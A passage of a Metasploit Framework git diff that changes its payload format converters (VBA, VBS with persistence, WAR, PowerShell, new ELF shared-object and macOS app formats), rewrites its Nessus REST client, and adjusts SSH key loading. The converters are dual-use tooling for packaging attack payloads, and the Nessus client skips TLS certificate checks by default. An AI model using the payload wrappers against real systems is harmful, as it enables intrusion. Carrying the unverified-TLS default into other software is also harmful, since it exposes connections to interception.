Msf::Util::EXE.to_vba(framework, code, exeopts) - + Msf::Util::EXE.to_vba(framework, code, exeopts) when 'vba-exe' exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts) - output = Msf::Util::EXE.to_exe_vba(exe) - + Msf::Util::EXE.to_exe_vba(exe) when 'vbs' exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts) - output = Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => false })) - + Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => false })) when 'loop-vbs' exe = exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts) - output = Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => true })) - + Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => true })) when 'war' arch ||= [ ARCH_X86 ] tmp_plat = plat.platforms if plat tmp_plat ||= Msf::Module::PlatformList.transform('win') exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts) - output = Msf::Util::EXE.to_jsp_war(exe) - + Msf::Util::EXE.to_jsp_war(exe) when 'psh' - output = Msf::Util::EXE.to_win32pe_psh(framework, code, exeopts) - + Msf::Util::EXE.to_win32pe_psh(framework, code, exeopts) when 'psh-net' - output = Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts) - + Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts) when 'psh-reflection' - output = Msf::Util::EXE.to_win32pe_psh_reflection(framework, code, exeopts) - + Msf::Util::EXE.to_win32pe_psh_reflection(framework, code, exeopts) end - - output end def self.to_executable_fmt_formats @@ -1779,6 +1925,7 @@ require 'msf/core/exe/segment_injector' "aspx-exe", "dll", "elf", + "elf-so", "exe", "exe-only", "exe-service", @@ -1787,6 +1934,7 @@ require 'msf/core/exe/segment_injector' "macho", "msi", "msi-nouac", + "osx-app", "psh", "psh-net", "psh-reflection", @@ -1798,23 +1946,39 @@ require 'msf/core/exe/segment_injector' end # - # EICAR Canary: https://www.metasploit.com/redmine/projects/framework/wiki/EICAR + # EICAR Canary # def self.is_eicar_corrupted? - path = ::File.expand_path(::File.join(::File.dirname(__FILE__), "..", "..", "..", "data", "eicar.com")) - return true if not ::File.exists?(path) - - begin - data = ::File.read(path) - if Digest::SHA1.hexdigest(data) != "3395856ce81f2b7382dee72602f798b642f14140" - return true + path = ::File.expand_path(::File.join( + ::File.dirname(__FILE__),"..", "..", "..", "data", "eicar.com") + ) + return true unless ::File.exists?(path) + ret = false + if ::File.exists?(path) + begin + data = ::File.read(path) + unless Digest::SHA1.hexdigest(data) == "3395856ce81f2b7382dee72602f798b642f14140" + ret = true + end + rescue ::Exception + ret = true end - - rescue ::Exception - return true end + ret + end - false + def self.get_file_contents(file, perms = "rb") + contents = '' + File.open(file, perms) {|fd| contents = fd.read(fd.stat.size)} + contents + end + + def self.find_payload_tag(mo, err_msg) + bo = mo.index('PAYLOAD:') + unless bo + raise RuntimeError, err_msg + end + bo end end diff --git a/lib/msfenv.rb b/lib/msfenv.rb index a6e00a1df6..7a4f480830 100644 --- a/lib/msfenv.rb +++ b/lib/msfenv.rb @@ -2,11 +2,18 @@ # Use bundler to load dependencies # -ENV['BUNDLE_GEMFILE'] ||= ::File.expand_path(::File.join(::File.dirname(__FILE__), "..", "Gemfile")) -begin - require 'bundler/setup' -rescue ::LoadError - $stderr.puts "[*] Metasploit requires the Bundler gem to be installed" - $stderr.puts " $ gem install bundler" - exit(0) +# Override the normal rails default, so that msfconsole will come up in production mode instead of development mode +# unless the `--environment` flag is passed. +ENV['RAILS_ENV'] ||= 'production' + +require 'pathname' +root = Pathname.new(__FILE__).expand_path.parent.parent +config = root.join('config') +require config.join('boot') + +# Requiring environment will define the Metasploit::Framework::Application as the one and only Rails::Application in +# this process and cause an error if a Rails.application is already defined, such as when loading msfenv through +# msfconsole in Metasploit Pro. +unless defined?(Rails) && !Rails.application.nil? + require config.join('environment') end diff --git a/lib/nessus/nessus-xmlrpc.rb b/lib/nessus/nessus-xmlrpc.rb index c6ac670869..58e48e15c0 100644 --- a/lib/nessus/nessus-xmlrpc.rb +++ b/lib/nessus/nessus-xmlrpc.rb @@ -1,811 +1,308 @@ -# -# = nessus-xmlrpc.rb: communicate with Nessus(4.2+) over XML RPC interface -# -# Author:: Vlatko Kosturjak -# -# (C) Vlatko Kosturjak, Kost. Distributed under GPL and BSD license (dual). -# -# == What is this library? -# -# This library is used for communication with Nessus over XML RPC interface. -# You can start, stop, pause and resume scan. Watch progress and status of scan, -# download report, etc. -# -# == Requirements -# -# Required libraries are standard Ruby libraries: uri, net/https and rexml/document. -# -# == Usage: -# -# require 'nessus-xmlrpc' -# n=NessusXMLRPC::NessusXMLRPC.new('https://localhost:8834','user','pass'); -# if n.logged_in -# id,name = n.policy_get_first -# puts "using policy ID: " + id + " with name: " + name -# uid=n.scan_new(id,"textxmlrpc","127.0.0.1") -# puts "status: " + n.scan_status(uid) -# while not n.scan_finished(uid) -# sleep 10 -# end -# content=n.report_file_download(uid) -# File.open('report.xml', 'w') {|f| f.write(content) } -# end +require 'net/http' -require 'uri' -require 'net/https' -require 'rexml/document' - -# NessusXMLRPC module -# -# Usage: -# -# require 'nessus-xmlrpc' -# n=NessusXMLRPC::NessusXMLRPC.new('https://localhost:8834','user','pass'); -# if n.logged_in -# id,name = n.policy_get_first -# uid=n.scan_new(id,"textxmlrpc","127.0.0.1") -# puts "status: " + n.scan_status(uid) -# end -# -# Check NessusXMLRPCrexml for description of methods implemented -# (for both NessusXMLRPCnokogiri and NessusXMLRPCrexml). - -module NessusXMLRPC - - # Class which uses standard REXML to parse nessus XML RPC replies. - class NessusXMLRPC - # initialize object: try to connect to Nessus Scanner using URL, user and password - # - # Usage: - # - # n=NessusXMLRPC::NessusXMLRPC.new('https://localhost:8834','user','pass'); - def initialize(url,user,password) - if url == '' - @nurl="https://localhost:8834/" - else - if url =~ /\/$/ - @nurl=url - else - @nurl=url + "/" - end - end - @token='' - #login(user,password) +module Nessus + class Client + class << self + @connection + @token end - - # checks if we're logged in correctly - # - # returns: true if logged in, false if not - # - # Usage: - # - # n=NessusXMLRPC::NessusXMLRPC.new('https://localhost:8834','user','pass'); - # if n.logged_in - # puts "Logged in" - # else - # puts "Error" - # end - - def logged_in - if @token == '' - return false + + def initialize(host, username = nil, password = nil, ssl_option = nil) + uri = URI.parse(host) + @connection = Net::HTTP.new(uri.host, uri.port) + @connection.use_ssl = true + if ssl_option == "ssl_verify" + @connection.verify_mode = OpenSSL::SSL::VERIFY_PEER else + @connection.verify_mode = OpenSSL::SSL::VERIFY_NONE + end + + yield @connection if block_given? + authenticate(username, password) if username && password + end + + def authenticate(username, password) + payload = { + :username => username, + :password => password, + :json => 1 + } + res = http_post(:uri=>"/session", :data=>payload) + if res['token'] + @token = "token=#{res['token']}" return true - end - end - - # send standard Nessus XML request and check - # - # returns: rexml/document root - def nessus_request(uri, post_data) - body=nessus_http_request(uri, post_data) - # puts response.body - docxml = REXML::Document.new(body) - begin - status = docxml.root.elements['status'].text - rescue - puts("Error connecting/logging to the server!") - return - end - if status == "OK" - return docxml else - return '' + false end end - # send standard Nessus HTTP request and check - # - # returns: body of response - def nessus_http_request(uri, post_data) - url = URI.parse(@nurl + uri) - request = Net::HTTP::Post.new( url.path ) - request.set_form_data( post_data ) - if not defined? @https - @https = Net::HTTP.new( url.host, url.port ) - @https.use_ssl = true - @https.verify_mode = OpenSSL::SSL::VERIFY_NONE + def x_cookie + {'X-Cookie'=>@token} + end + + alias_method :login, :authenticate + + def authenticated + if (@token && @token.include?('token=')) + return true + else + return false end - # puts request - begin - response = @https.request( request ) - rescue - puts("error connecting to server: #{@nurl} with URI: #{uri}") - exit - end - # puts response.body - return response.body + end + + def get_server_properties + http_get(:uri=>"/server/properties", :fields=>x_cookie) end - # login with user & password and sets object-wide @token, @name and @admin - def login(user, password) - post = { "login" => user, "password" => password } - docxml=nessus_request('login', post) - if docxml == '' - @token='' - else - @token = docxml.root.elements['contents'].elements['token'].text - @name = docxml.root.elements['contents'].elements['user'].elements['name'].text - @admin = docxml.root.elements['contents'].elements['user'].elements['admin'].text - # puts "Got token:" + @token - return @token - end + def user_add(username, password, permissions, type) + payload = { + :username => username, + :password => password, + :permissions => permissions, + :type => type, + :json => 1 + } + http_post(:uri=>"/users", :fields=>x_cookie, :data=>payload) + end + def user_delete(user_id) + res = http_delete(:uri=>"/users/#{user_id}", :fields=>x_cookie) + return res.code end - - #checks to see if the user is an admin + + def user_chpasswd(user_id, password) + payload = { + :password => password, + :json => 1 + } + res = http_put(:uri=>"/users/#{user_id}/chpasswd", :data=>payload, :fields=>x_cookie) + return res.code + end + + def user_logout + res = http_delete(:uri=>"/session", :fields=>x_cookie) + return res.code + end + + def list_policies + http_get(:uri=>"/policies", :fields=>x_cookie) + end + + def list_users + http_get(:uri=>"/users", :fields=>x_cookie) + end + + def list_folders + http_get(:uri=>"/folders", :fields=>x_cookie) + end + + def list_scanners + http_get(:uri=>"/scanners", :fields=>x_cookie) + end + + def list_families + http_get(:uri=>"/plugins/families", :fields=>x_cookie) + end + + def list_plugins(family_id) + http_get(:uri=>"/plugins/families/#{family_id}", :fields=>x_cookie) + end + + def list_template(type) + res = http_get(:uri=>"/editor/#{type}/templates", :fields=>x_cookie) + end + + def plugin_details(plugin_id) + http_get(:uri=>"/plugins/plugin/#{plugin_id}", :fields=>x_cookie) + end + def is_admin - if @admin == "TRUE" - return true - end - return false - end - - # initiate new scan with policy id, descriptive name and list of targets - # - # returns: uuid of scan - # - # Usage: - # - # n=NessusXMLRPC::NessusXMLRPC.new('https://localhost:8834','user','pass'); - # if n.logged_in - # id,name = n.policy_get_first - # puts "using policy ID: " + id + " with name: " + name - # uid=n.scan_new(id,"textxmlrpc","127.0.0.1") - # end - def scan_new(policy_id,scan_name,target) - post= { "token" => @token, "policy_id" => policy_id, "scan_name" => scan_name, "target" => target } - docxml=nessus_request('scan/new', post) - if docxml == '' - return '' - else - uuid=docxml.root.elements['contents'].elements['scan'].elements['uuid'].text - return uuid - end - end - - # get uids of scans - # - # returns: array of uids of active scans - def scan_list_uids - post= { "token" => @token } - docxml = nil - docxml=nessus_request('scan/list', post) - if docxml.nil? - return - end - uuids=Array.new - docxml.root.elements['contents'].elements['scans'].elements['scanList'].each_element('//scan') {|scan| uuids.push(scan.elements['uuid'].text) } - return uuids - end - - # get hash of active scan data - # - # returns: array of hash of active scans - def scan_list_hash - post= { "token" => @token } - docxml = nil - docxml=nessus_request('scan/list', post) - if docxml.nil? - return - end - scans=Array.new - docxml.root.elements['contents'].elements['scans'].elements['scanList'].each_element('//scan') {|scan| - entry=Hash.new - entry['id']=scan.elements['uuid'].text if scan.elements['uuid'] - entry['name']=scan.elements['readableName'].text if scan.elements['readableName'] - entry['owner']=scan.elements['owner'].text if scan.elements['owner'] - entry['start']=scan.elements['start_time'].text if scan.elements['start_time'] - entry['status']=scan.elements['status'].text if scan.elements['status'] - entry['current']=scan.elements['completion_current'].text if scan.elements['completion_current'] - entry['total']=scan.elements['completion_total'].text if scan.elements['completion_total'] - scans.push(entry) - } - return scans - end - - def template_list_hash - post= { "token" => @token } - docxml = nessus_request('scan/list', post) - templates = Array.new - docxml.elements.each('/reply/contents/templates/template') { |template| - entry=Hash.new - entry['name']=template.elements['name'].text if template.elements['name'] - entry['pid']=template.elements['policy_id'].text if template.elements['policy_id'] - entry['rname']=template.elements['readableName'].text if template.elements['readableName'] - entry['owner']=template.elements['owner'].text if template.elements['owner'] - entry['target']=template.elements['target'].text if template.elements['target'] - templates.push(entry) - } - return templates - end - - # get hash of policies - # - # returns: array of hash of policies - def policy_list_hash - post= { "token" => @token } - docxml = nil - docxml=nessus_request('scan/list', post) - if docxml.nil? - return - end - policies=Array.new - docxml.elements.each('/reply/contents/policies/policies/policy') { |policy| - entry=Hash.new - entry['id']=policy.elements['policyID'].text if policy.elements['policyID'] - entry['name']=policy.elements['policyName'].text if policy.elements['policyName'] - entry['comment']=policy.elements['policyComments'].text if policy.elements['policyComments'] - policies.push(entry) - } - return policies - end - - # get hash of reportss - # - # returns: array of hash of templates - def report_list_hash - post= { "token" => @token } - docxml = nil - docxml=nessus_request('report/list', post) - if docxml.nil? - return - end - #puts docxml - reports=Array.new - docxml.root.elements['contents'].elements['reports'].each_element('//report') {|report| - entry=Hash.new - entry['id']=report.elements['name'].text if report.elements['name'] - entry['name']=report.elements['readableName'].text if report.elements['readableName'] - entry['status']=report.elements['status'].text if report.elements['status'] - entry['timestamp']=report.elements['timestamp'].text if report.elements['timestamp'] - reports.push(entry) - } - return reports - end - - # get policy by textname and return policyID - # - # returns: policyID - def policy_get_id(textname) - post= { "token" => @token } - docxml = nil - docxml=nessus_request('policy/list', post) - if docxml.nil? - return - end - docxml.root.elements['contents'].elements['policies'].each_element('//policy') {|policy| - if policy.elements['policyName'].text == textname - return policy.elements['policyID'].text - end - } - return '' - end - - # get first policy from server and returns: policyID, policyName - # - # returns: policyID, policyName - def policy_get_first - post= { "token" => @token } - docxml = nil - docxml=nessus_request('policy/list', post) - if docxml.nil? - return - end - docxml.root.elements['contents'].elements['policies'].each_element('//policy') {|policy| - return policy.elements['policyID'].text, policy.elements['policyName'].text - } - end - - # get list of policy IDs - # - # returns: array of all policy uids - def policy_list_uids - post= { "token" => @token } - docxml = nil - docxml=nessus_request('policy/list', post) - if docxml.nil? - return - end - pids=Array.new - docxml.root.elements['contents'].elements['policies'].each_element('//policy') { |policy| - pids.push(policy.elements['policyID'].text) } - return pids - end - - # stop scan identified by scan_uuid - def scan_stop(uuid) - post= { "token" => @token, "scan_uuid" => uuid } - docxml = nil - docxml=nessus_request('scan/stop', post) - if docxml.nil? - return - end - return docxml - end - - # stop all active scans - # - # Usage: - # - # n=NessusXMLRPC::NessusXMLRPC.new('https://localhost:8834','user','pass'); - # if n.logged_in - # n.scan_stop_all - # end - def scan_stop_all - b=scan_list_uids - b.each {|uuid| - scan_stop(uuid) - } - return b - end - - # pause scan identified by scan_uuid - def scan_pause(uuid) - post= { "token" => @token, "scan_uuid" => uuid } - docxml = nil - docxml=nessus_request('scan/pause', post) - if docxml.nil? - return - end - return docxml - end - - # pause all active scans - # - # Usage: - # - # n=NessusXMLRPC::NessusXMLRPC.new('https://localhost:8834','user','pass'); - # if n.logged_in - # n.scan_pause_all - # end - def scan_pause_all - b=scan_list_uids - b.each {|uuid| - scan_pause(uuid) - } - return b - end - - # remove scan identified by uuid - def scan_resume(uuid) - post= { "token" => @token, "scan_uuid" => uuid } - docxml = nil - docxml=nessus_request('scan/resume', post) - if docxml.nil? - return - end - return docxml - end - # resume all active scans - # - # Usage: - # - # n=NessusXMLRPC::NessusXMLRPC.new('https://localhost:8834','user','pass'); - # if n.logged_in - # n.scan_resume_all - # end - def scan_resume_all - b=scan_list_uids - b.each {|uuid| - scan_resume(uuid) - } - return b - end - - # check status of scan identified by uuid - def scan_status(uuid) - post= { "token" => @token, "report" => uuid } - docxml = nil - docxml=nessus_request('report/list', post) - if docxml.nil? - return - end - docxml.root.elements['contents'].elements['reports'].each_element('//report') { |report| - if report.elements['name'].text == uuid - return (report.elements['status'].text) - end - } - return '' - end - - # check if scan is finished (completed to be exact) identified by uuid - def scan_finished(uuid) - status=scan_status(uuid) - if status == "completed" + res = http_get(:uri=>"/session", :fields=>x_cookie) + if res['permissions'] == 128 return true else return false end end - - # get report by reportID and return XML file - # - # returns: XML file of report (nessus v2 format) - def report_file_download(report) - post= { "token" => @token, "report" => report } - file = nil - file=nessus_http_request('file/report/download', post) - if file.nil? - return - end - return file + + def server_properties + http_get(:uri=>"/server/properties", :fields=>x_cookie) end - # get report by reportID and return XML file (version 1) - # - # returns: XML file of report (nessus v1 format) - def report_file1_download(report) - post= { "token" => @token, "report" => report, "v1" => "true" } - - file=nessus_http_request('file/report/download', post) - - return file - end - - # delete report by report ID - def report_delete(id) - post= { "token" => @token, "report" => id } - docxml = nil - docxml=nessus_request('report/delete', post) - if docxml.nil? - return - end - return docxml + def scan_create(uuid, name, description, targets) + payload = { + :uuid => uuid, + :settings => { + :name => name, + :description => description, + :text_targets => targets + }, + :json => 1 + }.to_json + http_post(:uri=>"/scans", :body=>payload, :fields=>x_cookie, :ctype=>'application/json') end - # get list of names of policies - # - # returns: array of names - def policy_list_names - post= { "token" => @token } - docxml = nil - docxml=nessus_request('policy/list', post) - if docxml.nil? - return - end - list = Array.new - docxml.root.elements['contents'].elements['policies'].each_element('//policy') {|policy| - list.push policy.elements['policyName'].text - } - return list + def scan_launch(scan_id) + http_post(:uri=>"/scans/#{scan_id}/launch", :fields=>x_cookie) end - # get data for each host for a particular report - # - # - # returns: array of hashes: - # hostname - # severity - # severityCount0 - # severityCount1 - # severityCount2 - # severityCount3 - # scanProgressCurrent - # scanprogressTotal - def report_hosts(report_id) - post= { "token" => @token, "report" => report_id } - docxml = nil - docxml=nessus_request('report/hosts', post) - if docxml.nil? - return - end - hosts=Array.new - docxml.elements.each('/reply/contents/hostList/host') do |host| - entry=Hash.new - entry['hostname'] = host.elements['hostname'].text if host.elements['hostname'] - entry['severity'] = host.elements['severity'].text if host.elements['severity'] - sevs=Array.new - host.elements.each('severityCount/item') do |item| - sevs.push item.elements['count'].text if item.elements['count'] - end - entry['sev0'] = sevs[0] if sevs[0] - entry['sev1'] = sevs[1] if sevs[1] - entry['sev2'] = sevs[2] if sevs[2] - entry['sev3'] = sevs[3] if sevs[3] - entry['current'] = host.elements['scanProgressCurrent'].text if host.elements['scanProgressCurrent'] - entry['total'] = host.elements['scanProgressTotal'].text if host.elements['scanProgressTotal'] - hosts.push(entry) - end - return hosts - end - - def report_host_ports(report_id,host) - post= { "token" => @token, "report" => report_id, "hostname" => host } - docxml = nil - docxml=nessus_request('report/ports', post) - if docxml.nil? - return - end - ports=Array.new - docxml.elements.each('/reply/contents/portList/port') do |port| - entry=Hash.new - entry['portnum'] = port.elements['portNum'].text if port.elements['portNum'] - entry['protocol'] = port.elements['protocol'].text if port.elements['protocol'] - entry['severity'] = port.elements['severity'].text if port.elements['severity'] - entry['svcname'] = port.elements['svcName'].text if port.elements['svcName'] - sevs=Array.new - port.elements.each('severityCount/item') do |item| - sevs.push item.elements['count'].text if item.elements['count'] - end - entry['sev0'] = sevs[0] if sevs[0] - entry['sev1'] = sevs[1] if sevs[1] - entry['sev2'] = sevs[2] if sevs[2] - entry['sev3'] = sevs[3] if sevs[3] - ports.push(entry) - end - return ports - end - - def report_host_port_details(report_id,host,port,protocol) - post= { "token" => @token, "report" => report_id, "hostname" => host, "port" => port, "protocol" => protocol } - docxml = nil - docxml=nessus_request('report/details', post) - if docxml.nil? - return - end - reportitems=Array.new - docxml.elements.each('/reply/contents/portDetails/ReportItem') do |rpt| - entry=Hash.new - cve = Array.new - bid = Array.new - entry['port'] = rpt.elements['port'].text if rpt.elements['port'] - entry['severity'] = rpt.elements['severity'].text if rpt.elements['severity'] - entry['pluginID'] = rpt.elements['pluginID'].text if rpt.elements['pluginID'] - entry['pluginName'] = rpt.elements['pluginName'].text if rpt.elements['pluginName'] - entry['cvss_base_score'] = rpt.elements['data'].elements['cvss_base_score'].text if rpt.elements['data'].elements['cvss_base_score'] - entry['exploit_available'] = rpt.elements['data'].elements['exploit_available'].text if rpt.elements['data'].elements['exploit_available'] - if rpt.elements['data'].elements['cve'] - rpt.elements['data'].elements['cve'].each do |x| - cve.push rpt.elements['data'].elements['cve'].text - end - end - entry['cve'] = cve if cve - entry['risk_factor'] = rpt.elements['data'].elements['risk_factor'].text if rpt.elements['data'].elements['risk_factor'] - entry['cvss_vector'] = rpt.elements['data'].elements['cvss_vector'].text if rpt.elements['data'].elements['cvss_vector'] - entry['solution'] = rpt.elements['data'].elements['solution'].text if rpt.elements['data'].elements['solution'] - entry['description'] = rpt.elements['data'].elements['description'].text if rpt.elements['data'].elements['description'] - entry['synopsis'] = rpt.elements['data'].elements['synopsis'].text if rpt.elements['data'].elements['synopsis'] - entry['see_also'] = rpt.elements['data'].elements['see_also'].text if rpt.elements['data'].elements['see_also'] - if rpt.elements['data'].elements['bid'] - rpt.elements['data'].elements['bid'].each do |y| - bid.push rpt.elements['data'].elements['bid'].text - end - end - entry['bid'] = bid if bid - #entry['xref'] = rpt.elements['data'].elements['xref'].text # multiple of these - entry['plugin_output'] = rpt.elements['data'].elements['plugin_output'].text if rpt.elements['data'].elements['plugin_output'] - reportitems.push(entry) - end - return reportitems + def server_status + http_get(:uri=>"/server/status", :fields=>x_cookie) end - # get host details for particular host identified by report id - # - # returns: severity, current, total - def report_get_host(report_id,hostname) - post= { "token" => @token, "report" => report_id } - docxml = nil - docxml=nessus_request('report/hosts', post) - if docxml.nil? - return - end - docxml.elements.each('/reply/contents/hostList/host') do |host| - if host.elements['hostname'].text == hostname - severity = host.elements['severity'].text - current = host.elements['scanProgressCurrent'].text - total = host.elements['scanProgressTotal'].text - return severity, current, total - end - end + def scan_list + http_get(:uri=>"/scans", :fields=>x_cookie) end - - # gets a list of each plugin family and the number of plugins for that family. - def plugins_list - post= { "token" => @token } - docxml = nil - docxml=nessus_request('plugins/list', post) - if docxml.nil? - return - end - plugins=Array.new - docxml.root.elements['contents'].elements['pluginFamilyList'].each_element('//family') { |plugin| - entry=Hash.new - entry['name']=plugin.elements['familyName'].text - entry['num']=plugin.elements['numFamilyMembers'].text - plugins.push(entry) - } - return plugins - end - - #returns a list of users, if they are an admin and their last login time. - def users_list - post= { "token" => @token } - docxml = nil - docxml=nessus_request('users/list', post) - if docxml.nil? - return - end - users=Array.new - docxml.root.elements['contents'].elements['users'].each_element('//user') { |user| - entry=Hash.new - entry['name']=user.elements['name'].text - entry['admin']=user.elements['admin'].text - entry['lastlogin']=user.elements['lastlogin'].text - users.push(entry) - } - return users - end - - # returns basic data about the feed type and versions. - def feed - post = { "token" => @token } - docxml = nil - docxml = nessus_request('feed', post) - if docxml.nil? - return - end - feed = docxml.root.elements['contents'].elements['feed'].text - version = docxml.root.elements['contents'].elements['server_version'].text - web_version = docxml.root.elements['contents'].elements['web_server_version'].text - return feed, version, web_version - end - - def user_add(user,pass) - post= { "token" => @token, "login" => user, "password" => pass } - docxml = nil - docxml = nessus_request('users/add', post) - if docxml.nil? - return - end - return docxml - end - - def user_del(user) - post= { "token" => @token, "login" => user } - docxml = nil - docxml = nessus_request('users/delete', post) - if docxml.nil? - return - end - return docxml - end - - def user_pass(user,pass) - post= { "token" => @token, "login" => user, "password" => pass } - docxml = nil - docxml = nessus_request('users/chpasswd', post) - if docxml.nil? - return - end - return docxml - end - - def plugin_family(fam) - post = { "token" => @token, "family" => fam } - docxml = nil - docxml = nessus_request('plugins/list/family', post) - if docxml.nil? - return - end - family=Array.new - docxml.elements.each('/reply/contents/pluginList/plugin') { |plugin| - entry=Hash.new - entry['filename'] = plugin.elements['pluginFileName'].text if plugin.elements['pluginFileName'] - entry['id'] = plugin.elements['pluginID'].text if plugin.elements['pluginID'] - entry['name'] = plugin.elements['pluginName'].text if plugin.elements['pluginName'] - family.push(entry) - } - return family - end - - def policy_del(pid) - post= { "token" => @token, "policy_id" => pid } - docxml = nil - docxml = nessus_request('policy/delete', post) - if docxml.nil? - return - end - return docxml - end - - def report_del(rid) - post= { "token" => @token, "report" => rid } - docxml = nil - docxml = nessus_request('report/delete', post) - if docxml.nil? - return - end - return docxml - end - - def plugin_detail(pname) - post = { "token" => @token, "fname" => pname } - docxml = nil - docxml = nessus_request('plugins/description', post) - if docxml.nil? - return - end - entry=Hash.new - docxml.elements.each('reply/contents/pluginDescription') { |desc| - entry['name'] = desc.elements['pluginName'].text - entry['id'] = desc.elements['pluginID'].text - entry['family'] = desc.elements['pluginFamily'].text - desc.elements.each('pluginAttributes') { |attr| - entry['exploit_ease'] = attr.elements['exploitability_ease'].text if attr.elements['exploitability_ease'] - entry['cvss_temporal_vector'] = attr.elements['cvss_temporal_vector'].text if attr.elements['cvss_temporal_vector'] - entry['solution'] = attr.elements['solution'].text if attr.elements['solution'] - entry['cvss_temporal_score'] = attr.elements['cvss_temporal_score'].text if attr.elements['cvss_temporal_score'] - entry['risk_factor'] = attr.elements['risk_factor'].text if attr.elements['risk_factor'] - entry['description'] = attr.elements['description'].text if attr.elements['description'] - entry['plugin_publication_date'] = attr.elements['plugin_publication_date'].text if attr.elements['plugin_publication_date'] - entry['cvss_vector'] = attr.elements['cvss_vector'].text if attr.elements['cvss_vector'] - entry['synopsis'] = attr.elements['synopsis'].text if attr.elements['synopsis'] - entry['exploit_available'] = attr.elements['exploit_available'].text if attr.elements['exploit_available'] - entry['plugin_modification_date'] = attr.elements['plugin_modification_date'].text if attr.elements['plugin_modification_date'] - entry['cvss_base_score'] = attr.elements['cvss_base_score'].text if attr.elements['cvss_base_score'] - } - } - return entry - end - - def server_prefs - post= { "token" => @token } - docxml = nil - docxml = nessus_request('preferences/list', post) - if docxml.nil? - return - end - prefs = Array.new - docxml.elements.each('/reply/contents/ServerPreferences/preference') { |pref| - entry=Hash.new - entry['name'] = pref.elements['name'].text if pref.elements['name'] - entry['value']= pref.elements['value'].text if pref.elements['value'] - prefs.push(entry) - } - return prefs - end - - def plugin_prefs - post= { "token" => @token } - docxml = nil - docxml = nessus_request('plugins/preferences', post) - if docxml.nil? - return - end - prefs = Array.new - docxml.elements.each('/reply/contents/PluginsPreferences/item') { |pref| - entry=Hash.new - entry['fullname'] = pref.elements['fullName'].text if pref.elements['fullName'] - entry['pluginname'] = pref.elements['pluginName'].text if pref.elements['pluginName'] - entry['prefname'] = pref.elements['preferenceName'].text if pref.elements['preferenceName'] - entry['preftype'] = pref.elements['preferenceType'].text if pref.elements['preferenceType'] - entry['prefvalues'] = pref.elements['preferenceValues'].text if pref.elements['preferenceValues'] - prefs.push(entry) - } - return prefs - end - end # end of NessusXMLRPC::Class -end # of Module + def scan_details(scan_id) + http_get(:uri=>"/scans/#{scan_id}", :fields=>x_cookie) + end + def scan_pause(scan_id) + http_post(:uri=>"/scans/#{scan_id}/pause", :fields=>x_cookie) + end + + def scan_resume(scan_id) + http_post(:uri=>"/scans/#{scan_id}/resume", :fields=>x_cookie) + end + + def scan_stop(scan_id) + http_post(:uri=>"/scans/#{scan_id}/stop", :fields=>x_cookie) + end + + def scan_export(scan_id, format) + payload = { + :format => format + }.to_json + http_post(:uri=>"/scans/#{scan_id}/export", :body=>payload, :ctype=>'application/json', :fields=>x_cookie) + end + + def scan_export_status(scan_id, file_id) + request = Net::HTTP::Get.new("/scans/#{scan_id}/export/#{file_id}/status") + request.add_field("X-Cookie", @token) + res = @connection.request(request) + if res.code == "200" + return "ready" + else + res = JSON.parse(res.body) + return res + end + end + + def policy_delete(policy_id) + res = http_delete(:uri=>"/policies/#{policy_id}", :fields=>x_cookie) + return res.code + end + + def host_detail(scan_id, host_id) + res = http_get(:uri=>"/scans/#{scan_id}/hosts/#{host_id}", :fields=>x_cookie) + end + + def report_download(scan_id, file_id) + res = http_get(:uri=>"/scans/#{scan_id}/export/#{file_id}/download", :raw_content=> true, :fields=>x_cookie) + end + + private + + def http_put(opts={}) + uri = opts[:uri] + data = opts[:data] + fields = opts[:fields] || {} + res = nil + + req = Net::HTTP::Put.new(uri) + req.set_form_data(data) unless data.blank? + fields.each_pair do |name, value| + req.add_field(name, value) + end + + begin + res = @connection.request(req) + rescue URI::InvalidURIError + return res + end + + res + end + + def http_delete(opts={}) + uri = opts[:uri] + fields = opts[:fields] || {} + res = nil + + req = Net::HTTP::Delete.new(uri) + + fields.each_pair do |name, value| + req.add_field(name, value) + end + + begin + res = @connection.request(req) + rescue URI::InvalidURIError + return res + end + + res + end + + def http_get(opts={}) + uri = opts[:uri] + fields = opts[:fields] || {} + raw_content = opts[:raw_content] || false + json = {} + + req = Net::HTTP::Get.new(uri) + fields.each_pair do |name, value| + req.add_field(name, value) + end + + begin + res = @connection.request(req) + rescue URI::InvalidURIError + return json + end + if !raw_content + parse_json(res.body) + else + res.body + end + end + + def http_post(opts={}) + uri = opts[:uri] + data = opts[:data] + fields = opts[:fields] || {} + body = opts[:body] + ctype = opts[:ctype] + json = {} + + req = Net::HTTP::Post.new(uri) + req.set_form_data(data) unless data.blank? + req.body = body unless body.blank? + req['Content-Type'] = ctype unless ctype.blank? + fields.each_pair do |name, value| + req.add_field(name, value) + end + + begin + res = @connection.request(req) + rescue URI::InvalidURIError + return json + end + + parse_json(res.body) + end + + def parse_json(body) + buf = {} + + begin + buf = JSON.parse(body) + rescue JSON::ParserError + end + + buf + end + + end +end diff --git a/lib/net/ssh/key_factory.rb b/lib/net/ssh/key_factory.rb index e416e622c6..9d5d461aec 100644 --- a/lib/net/ssh/key_factory.rb +++ b/lib/net/ssh/key_factory.rb @@ -35,9 +35,9 @@ module Net; module SSH # appropriately. The new key is returned. If the key itself is # encrypted (requiring a passphrase to use), the user will be # prompted to enter their password unless passphrase works. - def load_private_key(filename, passphrase=nil) + def load_private_key(filename, passphrase=nil, ask_passphrase=true) data = File.open(File.expand_path(filename), "rb") {|f| f.read(f.stat.size)} - load_data_private_key(data, passphrase, filename) + load_data_private_key(data, passphrase, ask_passphrase, filename) end # Loads a private key. It will correctly determine @@ -45,7 +45,7 @@ module Net; module SSH # appropriately. The new key is returned. If the key itself is # encrypted (requiring a passphrase to use), the user will be # prompted to enter their password unless passphrase works. - def load_data_private_key(data, passphrase=nil, filename="") + def load_data_private_key(data, passphrase=nil, ask_passphrase= true, filename="") if data.match(/-----BEGIN DSA PRIVATE KEY-----/) key_type = OpenSSL::PKey::DSA elsif data.match(/-----BEGIN RSA PRIVATE KEY-----/) @@ -62,7 +62,7 @@ module Net; module SSH begin return key_type.new(data, passphrase || 'invalid') rescue OpenSSL::PKey::RSAError, 